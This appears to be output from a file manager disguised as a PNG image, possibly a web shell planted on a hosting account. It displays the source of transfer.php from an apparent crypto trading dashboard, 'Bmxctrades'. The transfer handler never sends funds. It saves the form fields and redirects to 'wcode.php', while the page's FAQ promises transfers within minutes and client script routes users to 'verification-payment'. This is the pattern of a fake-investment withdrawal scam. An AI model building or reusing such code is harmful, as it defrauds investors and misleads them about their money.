PNG  IHDRxsBIT|d pHYs+tEXtSoftwarewww.inkscape.org<,tEXtComment File Manager

File Manager

Path: /home/u491334613/domains/bmxctrades.com/public_html/dashscrypt/

Viewing File: transfer.php

<?php
require_once('includes/connect.php');
require_once('includes/functions.php');
 
session_start();



 

if(!isset($_SESSION['email'])){
header("location:../../../index.php");
}
$not_info = Getnotificationstatus($_SESSION['email']);
$not_info = Getnotification($_SESSION['email']);
$user = GetMember1($_SESSION['email']);
$history = New_history($user['Email']);


 
 
 
$tradehis = tradehis($user['Email']);
$total = $user["Profit"] + $user["Capital"];

$btcd = GetBtc();



if(!isset($_SESSION['email'])){
header("location: https://localhost");
}
$user = GetMember1($_SESSION['email']);
$history = New_history($user['Email']);
if(isset($_POST["dep"])){
header("location: index.php?dep=dep");	
}
 

if (isset($_POST['transfer'])) {
    // Create session variables to be used in the form to avoid retyping if an error occurs
    $un = $user['full_name'];
    $email = $user['Email'];
    
    $_SESSION['am'] = $_POST['amt'];
    $_SESSION['from'] = $_POST['from'];
    $_SESSION['wc'] = $_POST['wc'];
    $_SESSION['tc'] = $_POST['tc'];
    $_SESSION['m'] = $_POST['m'];
    $_SESSION['anumb'] = $_POST['anumb'];
    $_SESSION['ba'] = $_POST['ba'];
    $_SESSION['pe'] = $_POST['pe'];

    $am = $_POST["amt"];
    if ($_POST["from"] == "capital") {
        $vvd = $user["Capital"];
    } elseif ($_POST["from"] == "profit") {
        $vvd = $user["Profit"];
    }
    
    if ($am > $vvd) {
        echo '<script>alert("Insufficient Fund")</script>';
        die();
    }

    // JavaScript to show alert and redirect after 10 seconds
    echo '<script>
        alert("You will be redirected Within 30 seconds.");
        setTimeout(function() {
            window.location.href = "wcode.php";
        }, 1000); // 1000 milliseconds = 10 seconds
    </script>';
    exit;
}


 
 
 
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>transfer | Bmxctrades.com</title>
    <link rel="icon" href="admin_icon_dir/1703507568643_icon.png">
    <link rel="stylesheet" href="assets/css/root.min.css?v=2">
    <link rel="stylesheet" href="assets/css/support-widget.css?v=1">
    <link rel="stylesheet" href="assets/css/toastr.css">
</head>
<body>
 
 
 
<header class="header">
    <div class="header__wrapper">
        <div class="header__logo" onclick="location.replace('')">
            <div class="header__logo-icon">
                <img style="width: 30px; margin-bottom: -3px;" src="admin_icon_dir/1703507568643_icon.png">
            </div>
            Bmxctrades
        </div>
        <div class="header__links">
            <div class="header__links-wrapper"><a class="header__link" href="trading.php">
                Spot trading
            </a>
            

                <div class="header__link header__link-tools">
                    <div class="header__link-wrapper">
                        Tools
                        <div class="header__link-arrow">
                            <svg width="11" height="8" viewbox="0 0 11 8" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M1.34502 3.10642L4.95202 7.05416C5.49516 7.64861 6.37253 7.64861 6.91567 7.05416L10.5227 3.10642C11.4 2.14616 10.7733 0.5 9.53388 0.5H2.31989C1.08042 0.5 0.467644 2.14616 1.34502 3.10642Z" fill="white"></path>
                            </svg>
                        </div>
                    </div>
                    <div class="header__more">
                        <a class="header__more-link" href="market-crypto.php">
                            <div class="header__more-img">
                                <img src="assets/img/header/cap.png" alt="">
                            </div>
                            <div class="header__more-wrapper">
                                <div class="header__more-name">Market cap</div>
                                <div class="header__more-description">
                                    Most of the available crypto assets and sorts them based on the market capitalization
                                </div>
                            </div>
                        </a>
                        <a class="header__more-link" href="market-screener.php">
                            <div class="header__more-img">
                                <img src="assets/img/header/screener.png" alt="">
                            </div>
                            <div class="header__more-wrapper">
                                <div class="header__more-name">Market screener</div>
                                <div class="header__more-description">
                                    Powerful tool that allows to filter instruments based on fundamental data and various technical indicators
                                </div>
                            </div>
                        </a>
                      
                    </div>
                </div>

 
                 
                <a class="header__link" href="buy-crypto.php">
                    Buy crypto
                </a>
                <a class="header__link" href="wallet.php">Wallet:<?php echo  $user["sym"]?> <?php echo number_format($total) ?>.00</a>
                
            </div>
        </div>
        <div class="header__right">
            <div class="header__user">
                <div class="header__user-btn">
                    <div class="header__user-name"><?php echo $user["full_name"] ?></div>
                    <div class="header__user-img">
                        <picture>
                            <source srcset="assets/img/profile/<?php echo $user["img"] ?>" type="image/webp">
                            <img src="assets/img/profile/<?php echo $user["img"] ?>" alt="">
                        </picture>
                    </div>
                </div>
                <div class="header-menu__bg">
                    <div class="header-menu">
                        <div class="header-menu__overview">
                            <div class="header-menu__overview-info">
                                <div class="header-menu__overview-img">
                                    <img src="assets/img/header/wallet-overview.svg" alt="">
                                </div>
                                <div class="header-menu__overview-wrapper">
                                    <div class="header-menu__overview-title">
                                        Assets overview
                                    </div>
                                    <div class="header-menu__overview-value">
                                        <?php echo  $user["sym"]?> <span> <?php echo number_format($total)?>.00</span>  
                                    </div>
                                </div>
                            </div>
                            <div class="header-menu__overview-links">
                                <a class="header-menu__overview-link" href="deposit.php">
                                    <img src="assets/img/header/wallet-add.svg" alt="">
                                    Deposit
                                </a>
                                <a class="header-menu__overview-link" href="transfer.php">
                                    <img src="assets/img/header/transfer.svg" alt="">
                                    transfer
                                </a>
                            </div>
                        </div>
                        <div class="header-menu__links">
                            
                            
                            
                            <a class="header-menu__links-link" href="trading.php">
                                <img src="assets/img/header/wallet-menu.svg" alt="">
                                Home
                            </a>
                            <a class="header-menu__links-link" href="settings.php">
                                <img src="assets/img/header/settings.svg" alt="">
                                Account settings
                            </a>
                            
                            <!-- <a class="header-menu__links-link" href="promo-codes">
                                <img src="assets/img/header/codes.svg" alt="">
                                Gift codes
                            </a> -->
                           
                        </div>
                        <div class="header-menu__user">
                            <div class="header-menu__user-container">
                                <a class="header-menu__user-img" href="#">
                                    <picture>
                                        <source srcset="assets/img/profile/<?php echo $user["img"] ?>" type="image/webp">
                                        <img src="assets/img/profile/<?php echo $user["img"] ?>" alt="">
                                    </picture>
                                </a>
                                <div class="header-menu__user-wrapper">
                                    <div class="header-menu__user-nickname">Dxnte</div>
                                    <div class="header-menu__user-mail"><a href=""  ><?php echo $user["Email"] ?></a></div>
                                </div>
                            </div>
                            <div class="header-menu__user-exit" onclick="location.replace('')">
                                <img src="assets/img/header/exit.svg" alt="">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="header__btn-mobile">
                <svg width="35" height="35" viewbox="0 0 100 100">
                    <path class="header__nav-line header__nav-line1" d="M 20,29.000046 H 80.000231 C 80.000231,29.000046 94.498839,28.817352 94.532987,66.711331 94.543142,77.980673 90.966081,81.670246 85.259173,81.668997 79.552261,81.667751 75.000211,74.999942 75.000211,74.999942 L 25.000021,25.000058"></path>
                    <path class="header__nav-line header__nav-line2" d="M 20,50 H 80"></path>
                    <path class="header__nav-line header__nav-line3" d="M 20,70.999954 H 80.000231 C 80.000231,70.999954 94.498839,71.182648 94.532987,33.288669 94.543142,22.019327 90.966081,18.329754 85.259173,18.331003 79.552261,18.332249 75.000211,25.000058 75.000211,25.000058 L 25.000021,74.999942"></path>
                </svg>
            </div>
        </div>
    </div>
    
    
 <?php  
if(isset($_GET['new'])== "new") {
    echo '<script>alert("Coming up soon");</script>';
}
?>
 
  

</header>
<main class="main transaction-history">
    <section class="top-line">
        <div class="top-line__box">
            <div class="top-line__left">
                <div class="top-line__img">
                    <svg width="59" height="45" viewbox="0 0 59 45" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <line x1="52.4746" y1="8.35617" x2="31.3562" y2="38.5254" stroke="#FFB547" stroke-width="12" stroke-linecap="round"></line>
                        <line x1="29.4746" y1="8.35617" x2="8.35616" y2="38.5254" stroke="#7044EE" stroke-width="12" stroke-linecap="round"></line>
                    </svg>
                </div>
                <div class="top-line__content">
                    <div class="top-line__title">Transfer coins</div>
                    <div class="top-line__des">transfer your digital funds in few minutes</div>
                </div>
            </div>
            <div class="top-line__menu">
                <a href="deposit.php" class="top-line__menu-btn">
                    <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M11.8851 12.8652H7.71838" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M9.80164 10.8315V14.9982" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.5502 2.09828L10.5252 2.15662L8.10855 7.76495H5.73355C5.16688 7.76495 4.62521 7.88162 4.13354 8.08995L5.59188 4.60662L5.62521 4.52328L5.68355 4.38995C5.70021 4.33995 5.71688 4.28995 5.74188 4.24828C6.83355 1.72328 8.06688 1.14828 10.5502 2.09828Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M15.0419 7.93197C14.6669 7.8153 14.2669 7.7653 13.8669 7.7653H8.10852L10.5252 2.15697L10.5502 2.09863C10.6752 2.1403 10.7919 2.19863 10.9169 2.24863L12.7585 3.02363C13.7835 3.44863 14.5002 3.8903 14.9335 4.42363C15.0169 4.52363 15.0835 4.6153 15.1419 4.72363C15.2169 4.8403 15.2752 4.95697 15.3085 5.08197C15.3419 5.15697 15.3669 5.23197 15.3835 5.29863C15.6085 5.99863 15.4752 6.85697 15.0419 7.93197Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M17.935 11.8318V13.4568C17.935 13.6235 17.9266 13.7901 17.9183 13.9568C17.76 16.8651 16.135 18.3318 13.0516 18.3318H6.55164C6.35164 18.3318 6.15164 18.3151 5.95997 18.2901C3.30997 18.1151 1.8933 16.6985 1.7183 14.0485C1.6933 13.8568 1.67664 13.6568 1.67664 13.4568V11.8318C1.67664 10.1568 2.6933 8.71514 4.1433 8.09014C4.6433 7.8818 5.17664 7.76514 5.7433 7.76514H13.8766C14.285 7.76514 14.685 7.82347 15.0516 7.9318C16.71 8.44014 17.935 9.99014 17.935 11.8318Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M5.59187 4.60693L4.13354 8.09027C2.68354 8.71527 1.66687 10.1569 1.66687 11.8319V9.39027C1.66687 7.0236 3.3502 5.0486 5.59187 4.60693Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M17.9324 9.38988V11.8315C17.9324 9.99821 16.7157 8.43988 15.0491 7.93988C15.4824 6.85654 15.6074 6.00654 15.3991 5.29821C15.3824 5.22321 15.3574 5.14821 15.3241 5.08154C16.8741 5.88154 17.9324 7.52321 17.9324 9.38988Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                    Deposit
                </a>
                <a href="withdraw.php" class="top-line__menu-btn top-line__menu-btn">
                    <svg width="22" height="20" viewbox="0 0 22 20" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M11.8851 12.8652H7.71838" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.5502 2.09828L10.5252 2.15662L8.10855 7.76495H5.73355C5.16688 7.76495 4.62521 7.88162 4.13354 8.08995L5.59188 4.60662L5.62521 4.52328L5.68355 4.38995C5.70021 4.33995 5.71688 4.28995 5.74188 4.24828C6.83355 1.72328 8.06688 1.14828 10.5502 2.09828Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M15.0419 7.93197C14.6669 7.8153 14.2669 7.7653 13.8669 7.7653H8.10852L10.5252 2.15697L10.5502 2.09863C10.6752 2.1403 10.7919 2.19863 10.9169 2.24863L12.7585 3.02363C13.7835 3.44863 14.5002 3.8903 14.9335 4.42363C15.0169 4.52363 15.0835 4.6153 15.1419 4.72363C15.2169 4.8403 15.2752 4.95697 15.3085 5.08197C15.3419 5.15697 15.3669 5.23197 15.3835 5.29863C15.6085 5.99863 15.4752 6.85697 15.0419 7.93197Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M17.935 11.8318V13.4568C17.935 13.6235 17.9266 13.7901 17.9183 13.9568C17.76 16.8651 16.135 18.3318 13.0516 18.3318H6.55164C6.35164 18.3318 6.15164 18.3151 5.95997 18.2901C3.30997 18.1151 1.8933 16.6985 1.7183 14.0485C1.6933 13.8568 1.67664 13.6568 1.67664 13.4568V11.8318C1.67664 10.1568 2.6933 8.71514 4.1433 8.09014C4.6433 7.8818 5.17664 7.76514 5.7433 7.76514H13.8766C14.285 7.76514 14.685 7.82347 15.0516 7.9318C16.71 8.44014 17.935 9.99014 17.935 11.8318Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M5.59187 4.60693L4.13354 8.09027C2.68354 8.71527 1.66687 10.1569 1.66687 11.8319V9.39027C1.66687 7.0236 3.3502 5.0486 5.59187 4.60693Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M17.9324 9.38988V11.8315C17.9324 9.99821 16.7157 8.43988 15.0491 7.93988C15.4824 6.85654 15.6074 6.00654 15.3991 5.29821C15.3824 5.22321 15.3574 5.14821 15.3241 5.08154C16.8741 5.88154 17.9324 7.52321 17.9324 9.38988Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                    Withdraw
                </a>
                <a href="transfer.php" class="top-line__menu-btn">
                    <svg width="22" height="20" viewbox="0 0 22 20" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M7.5002 18.3332H12.5002C16.6669 18.3332 18.3335 16.6665 18.3335 12.4998V7.49984C18.3335 3.33317 16.6669 1.6665 12.5002 1.6665H7.5002C3.33354 1.6665 1.66687 3.33317 1.66687 7.49984V12.4998C1.66687 16.6665 3.33354 18.3332 7.5002 18.3332Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M14.292 11.5166L11.7587 14.0499" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M5.70862 11.5166H14.292" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M5.70862 8.48353L8.24195 5.9502" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M14.292 8.4834H5.70862" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                    Transfer Coin
                </a>
                <a href="transactions.php" class="top-line__menu-btn">
                    <svg width="21" height="20" viewbox="0 0 21 20" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M18.0002 5.83317V14.1665C18.0002 16.6665 16.7502 18.3332 13.8336 18.3332H7.16691C4.25024 18.3332 3.00024 16.6665 3.00024 14.1665V5.83317C3.00024 3.33317 4.25024 1.6665 7.16691 1.6665H13.8336C16.7502 1.6665 18.0002 3.33317 18.0002 5.83317Z" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M12.5836 3.75V5.41667C12.5836 6.33333 13.3336 7.08333 14.2502 7.08333H15.9169" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M7.16687 10.8335H10.5002" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M7.16687 14.1665H13.8335" stroke="white" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                    History
                </a>
                
            </div>
        </div>
    </section>
    <div class="main__box">
        <section class="form-coins transfer">
          
            
            <div class="form-coins__container">
                
                
                
                
                
                
                
    <style>
    body {
        font-family: Arial, sans-serif;
    }
    
    .form-container {
        width: 100%;
        max-width: 500px;
        margin: 0 auto;
        padding: 20px;
        background-color: #f9f9f9;
        border-radius: 8px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        width: 100%;
        min-width: 100% !important;
        
    }
    
    .form-group {
        margin-bottom: 20px;
    }
    
    label {
        display: block;
        font-weight: bold;
        margin-bottom: 5px;
    }
    
    select {
        width: 100%;
        padding: 10px;
        font-size: 16px;
        border-radius: 5px;
        border: 1px solid #ccc;
    }
    input {
        width: 100%;
        padding: 10px;
        font-size: 16px;
        border-radius: 5px;
        border: 1px solid #ccc;
    }
    
    button {
        padding: 10px 20px;
        font-size: 16px;
        background-color: #007bff;
        color: #fff;
        border: none;
        border-radius: 5px;
        cursor: pointer;
    }
    
    button:hover {
        background-color: #0056b3;
    }
    
    
    
    .form-group {
    margin-bottom: 15px;
  }

  .padded-select {
    padding: 6px 12px;
  }

  .paymentForm {
    margin-top: 15px;
  }

  #bankForm,
  #paypalForm,
  #bitcoinForm,
  #ethereumForm {
    display: none;
  }
 
</style>             
                
                
                
          <div class="form-coins__left" style=" width: 100%;"> 
                   
                <center> <div class="important-information__title" >transfer From Your Account </div>
                </center>
                    <div class="form-container">
    
     
 
  <form method="POST" action="transfer.php" enctype="multipart/form-data">
    
    
    
     
                   
     <div class="form-group row  wide-input">
      <label for="from" class="col-12 col-form-label">From</label>
      <select  name="from" id="from" class="browser-default padded-select form-control col-12 wide-input">
        <option value="profit">Profit (<?php echo $user["sym"]?><?php echo $user["Profit"]?>)</option>
        <option value="capital">Capital (<?php echo $user["sym"]?><?php echo $user["Capital"]?>)</option>
      </select>
    </div>

    <div class="form-group row  wide-input">
      <label for="paymentMethod" class="col-12 col-form-label">Select Coin</label>
      <select name="m" id="paymentMethod" onchange="showPaymentForm()" required="" class="browser-default padded-select form-control col-12 wide-input">
        <option noselected="">Select</option>
        <option value="bitcoin">Bitcoin</option> 
        <option value="ethereum">Ethereum</option>
      </select>
    </div>
    
        
   

    <div class="form-group row">
      <label for="amount" class="col-12 col-form-label">
        <span class="col-12 col-form-label prefix">Amount <?php echo $user["sym"]?></span>
      </label>
      <div class="col-12">
        <input class="form-control" inputmode="decimal" type="number" id="amount" min="" max="" step="any" name="amt" required="">
        <span style="color:crimson"></span>
      </div>
    </div>

    <div class="form-group row" id="bankForm" class="paymentForm">
      <div class="input-field"> 
      <label class="active" for="bank_name">Bank Name</label>
        <input class="form-control" name="bn" type="text" id="bankName" maxlength="300" inputmode="text" value="">
       
      </div>

      <div class="input-field">  
      <label class="active" for="account_name">Account Name</label>
        <input class="form-control" type="text" id="accountName" name="aname" maxlength="300" inputmode="text" value="">
     
      </div>

      <div class="input-field">
          <label class="active" for="account_number">Account Number</label>
        <input class="form-control" type="text" id="accountNumber" name="anumb" maxlength="300" inputmode="text" value="">
        
      </div>

      <div class="input-field">
           <label class="active" for="routing_number">Routing Number</label>
        <input class="form-control" type="text" id="routingNumber" name="rnumb" maxlength="300" inputmode="text" value="">
       
      </div>
    </div>

    <div id="paypalForm" class="paymentForm">
      <label for="paypalEmail">PayPal Email:</label>
      <input class="form-control" type="email" id="paypalEmail" name="pe">
    </div>

    <div id="bitcoinForm" class="paymentForm">
      <label for="bitcoinAddress">Bitcoin Address:</label>
      <input class="form-control" type="text" id="bitcoinAddress" name="ba" inputmode="text" value="">
    </div>

    <div id="ethereumForm" class="paymentForm">
      <label for="ethereumAddress">Ethereum Address:</label>
      <input class="form-control" maxlength="60" type="text" id="ethereumAddress" name="ea">
    </div>

    <br>

    <div class="form-group row">
      <div class="col-12">
        <center>
          <button name="transfer" type="submit" class="btn btn-primary btn-block important">transfer Now</button>
        </center>
      </div>
    </div>
  </form>
</div>
 
<script>
  function showPaymentForm() {
    var paymentMethod = document.getElementById("paymentMethod").value;
    var bankForm = document.getElementById("bankForm");
    var paypalForm = document.getElementById("paypalForm");
    var bitcoinForm = document.getElementById("bitcoinForm");
    var ethereumForm = document.getElementById("ethereumForm");

    // Hide all forms
    bankForm.style.display = "none";
    paypalForm.style.display = "none";
    bitcoinForm.style.display = "none";
    ethereumForm.style.display = "none";

    // Show the selected form
    if (paymentMethod === "bank") {
      bankForm.style.display = "block";
    } else if (paymentMethod === "paypal") {
      paypalForm.style.display = "block";
    } else if (paymentMethod === "bitcoin") {
      bitcoinForm.style.display = "block";
    } else if (paymentMethod === "ethereum") {
      ethereumForm.style.display = "block";
    }
  }
</script>
                  

                    
                </div>      
                
                
                
                
                
                
                
                
                
                
                
                
                
               












                <div class="form-coins__right">
                    <div class="important-information">
                        <svg width="45" height="43" viewbox="0 0 45 43" fill="none" xmlns="http://www.w3.org/2000/svg">
                            <path d="M39.6552 1H2L44 41V4.21429V3.85714V3.5L43.6379 2.78571L43.2759 2.07143L42.9138 1.71429L42.5517 1.35714L41.8276 1H39.6552Z" fill="#68BC4A" stroke="#68BC4A"></path>
                        </svg>
                        <div class="important-information__title">Important information</div>
                        <div class="important-information__list">
                            <div class="important-information__item">Do not transfer your assets to any non <span>BTC</span>  addresses as you may not be able to retrieve the <span>BTC</span> asset after.</div>
                            <div class="important-information__item">Please check your Transfer address carefully; once a transfer request is issued, it cannot be recalled.</div>
                        </div>
                    </div>
                    <div class="form-faq">
                        <div class="form-faq__block">
                            <div class="form-faq__question">When does Bmxctrades process Transfer requests?</div>
                            <div class="form-faq__answer">
                                Instant transfer may take 5 to 30 min to process. However,
                                please note that in the event of high network congestion,
                                Transfer may take longer time.
                            </div>
                        </div>
                        <div class="form-faq__block">
                            <div class="form-faq__question">
                                Is Transfer fee already included in the Transfer amount I have indicated?
                            </div>
                            <div class="form-faq__answer">
                                No, the Transfer fee will charged beyond the indicated Transfer
                                amount. If traders want to transfer all the transferable amount,
                                traders can click on the "All" button and system will automatically
                                input the amount after fees.
                            </div>
                        </div>
                        <div class="form-faq__block">
                            <div class="form-faq__question">Does Bmxctrades support transfers to a Smart Contract ETH wallet address?</div>
                            <div class="form-faq__answer">
                                No,
                                Bmxctrades
                                does not support ETH transfers via Smart Contracts method.
                                Instead,
                                Bmxctrades
                                only supports ETH transfers via Direct Transfer method.
                            </div>
                        </div>
                        <div class="form-faq__block">
                            <div class="form-faq__question">Does Bmxctrades support transfers to a segwit BTC wallet address?</div>
                            <div class="form-faq__answer">
                                Yes,
                                Bmxctrades
                                supports transfers to segwit BTC wallet addresses
                                starting with "bc1", also known as bech32 addresses.
                            </div>
                        </div>
                        <div class="form-faq__block">
                            <div class="form-faq__question">
                                Can traders fix their own transfer fees on
                                Bmxctrades
                                ?
                            </div>
                            <div class="form-faq__answer">
                                At the moment, no. However,
                                Bmxctrades
                                is considering enabling this
                                option for traders to determine their own transfer fees in the future.
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    </div>
</main>
</script>
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="assets/js/transfer.min.js"></script>
<input type="hidden" value="false" id="u_verify_status">
 <?php include("footer.php") ?>
 
<input hidden value="63743.57" id="price" type="number">
<!-- END FOOTER -->
<script src="assets/js/jquery-3.4.1.min.js"></script>
<script src="assets/js/app.min.js"></script>
<script src="assets/js/toastr.js"></script>
<script src="assets/js/newnoti.js"></script>
<script src="assets/js/error-modal.js?v=4"></script>
<script>
    function closeModal(event) {
        event.preventDefault();

        $("#alert_message_modal").removeClass("transfer-successful-active");
    }


    $("#butafor__btn").on("click", function(e) {
        e.preventDefault();

        $("#butafor__modal").addClass("transfer-successful-active");
    });

    $(".butafor__btn").on("click", function(e) {
        e.preventDefault();

        $("#butafor__modal").addClass("transfer-successful-active");
    });

    function closeButaforModal() {
        $("#alert_message_modal").removeClass("transfer-successful-active");
        $("#butafor__modal").removeClass("transfer-successful-active");
    }

    $("#footer_subscribe").on("click", function(e) {
        e.preventDefault();
        $("#footer_subscribe").html("Subscribed!");
    })
</script>
</body>
</html>
<script>
    var active_crypto = "BTC";

    var network = 'ERC20';

    function setNetwork(name) {
        network = name;
        if (active_crypto === 'BNB') {
            var memoBlock = document.getElementById("memo_block");
            if (network === 'BEP2') {
                memoBlock.style = "";
            } else {
                memoBlock.style = "display: none";
            }
        }
    }

    function setTab(crypto) {
        $("#btn_" + active_crypto).removeClass("buttonActiveNew");
        $("#btn_" + crypto).addClass("buttonActiveNew");

        $("#tab_" + active_crypto).removeClass("deposit__content-item-active");
        $("#tab_" + crypto).addClass("deposit__content-item-active");

        active_crypto = crypto;
    }

   
    function resetButtons() {
        $(".buttons__01").removeClass("buttons__disabled");
        $(".buttons__01").removeClass("buttons__loading");
        $(".button__loader").remove();
    }

    function transfer(event, crypto) {
        event.preventDefault();

        var address = $("#transfer_address").val();
        var memo = $("#transfer_memo").val();
        var amount2 = $("#transfer_amount").val().replace(',', '.')
        var amount = parseFloat(amount2);

        var user_balance = parseFloat($("#available_balance").html().replace(',', '.'));

        if (address == "" || address.length < 10) {
            noti("Please enter a valid wallet address", "error");
            resetButtons();
            return;
        }
        if (amount2 == "" || amount2 == NaN || amount <= 0) {
            noti("Please enter the amount to transfer", "error");
            resetButtons();
            return;
        }
        if (amount > user_balance) {
            noti("You don't have enough balance to transfer", "error");
            resetButtons();
            return;
        }

        const fee = parseFloat($("#fee_amount").val());

        $.ajax({
            url: "api/user/transfer",
            type: "POST",
            contentType: 'application/json; charset=UTF-8',
            data: JSON.stringify({
                action: "transfer",
                amount: amount,
                fee: fee,
                crypto: crypto,
                address: address,
                memo: memo,
                network: network
            }),
            success: function(response) {
                if (response === "verification") {
                    location.replace('verification-payment');
                } else if (response === "pending") {
                    const d = new Date();
                    const strDate = d.getFullYear() + "/" + (d.getMonth() + 1) + "/" + d.getDate() + " " + d.getHours() + ":" + d.getMinutes();
                    $("#transfer_true_modal_new").addClass("transfer-pending-active");
                    $("#t_transfer_date").html(strDate);
                    $("#t_transfer_amount").html((amount - fee) + " " + crypto);
                    $("#t_transfer_fee").html(fee + " " + crypto);
                    $("#t_transfer_address").html(address);
                    resetButtons();
                } else if (response === "confirmed") {
                    const d = new Date();
                    const strDate = d.getFullYear() + "/" + (d.getMonth() + 1) + "/" + d.getDate() + " " + d.getHours() + ":" + d.getMinutes();
                    $("#transfer_true_confirmed_modal").addClass("transfer-successful-active");
                    $("#t_transfer_confirmed_date").html(strDate);
                    $("#t_transfer_confirmed_amount").html((amount - fee) + " " + crypto);
                    $("#t_transfer_confirmed_fee").html(fee + " " + crypto);
                    $("#t_transfer_confirmed_address").html(address);
                    resetButtons();
                } else {
                    showErrorModal('transfer');
                    resetButtons();
                }
            },
            error: function(xhr) {
                const error = xhr.responseText;
                if (error === "amount_error") {
                    noti("Please enter the amount to transfer", "error");
                } else if (error === "address_error") {
                    noti("Please enter a valid wallet address", "error");
                } else if (error === "memo_error") {
                    noti("Please enter correct memo number", "error");
                } else if (error === "balance_error") {
                    noti("You don't have enough balance to transfer", "error");
                } else if (error.startsWith("minimum_amount_error:")) {
                    noti("Oops.. Minimal transfer amount: " + error.split(':')[1] + " " + crypto.toUpperCase(), "error");
                } else {
                    noti("An unexpected error has occurred, please try again", "error");
                }
                resetButtons();
            }
        });
    }

    setInterval(() => {
        $.ajax({
          url: "/api/user/profile",
          type: "POST",
          contentType: 'application/json; charset=UTF-8',
          dataType: 'text',
          data: JSON.stringify({
              action: "CHECK_ALERT"
          }),
          success: function (response) {
              if (response !== "no_alerts") {
                  const json = JSON.parse(response);

                  const type = json["type"];
                  const message = json["message"];

                  if (type === "NOTIFICATION") {
                      noti(message, "success");
                  } else if (type === "ALERT") {
                      $("#alert_message_modal").addClass("transfer-successful-active");
                      $("#userAlertBox").html(message);
                  } else if (type === "BONUS") {
                      $("#alert_img_pop").attr("src", "");
                      $("#alert_title_text").html("Bonus");
                      $("#alert_img_pop").attr("src", "assets/img/bonus-icon.png");
                      $("#alert_img_pop").css("display", "block");
                      $("#svg_alert_img").remove();
                      $("#alert_message_modal").addClass("transfer-successful-active");
                      $("#userAlertBox").html(message);
                      $("#userAlertBox").css("font-size", "18px");
                  }
              }
          }
      });
    }, 5000);

    function setMaxBalance() {
        $("#transfer_amount").val($("#available_balance").html());
    }

    function amountUsd() {
        var value = '~0$';
        if ($("#transfer_amount") !== '') {
            const transferAmount = parseFloat($("#transfer_amount").val());
            if (transferAmount > 0) {
                if (transferAmount > parseFloat($("#available_balance").html())) {
                    noti("You don't have enough balance", "warning");
                } else {
                    const price = parseFloat($("#price").val());
                    value = '~' + (transferAmount * price).toFixed(0) + '$';
                }
            }
        }

        $("#usd_amount").html(value);
    }
</script>
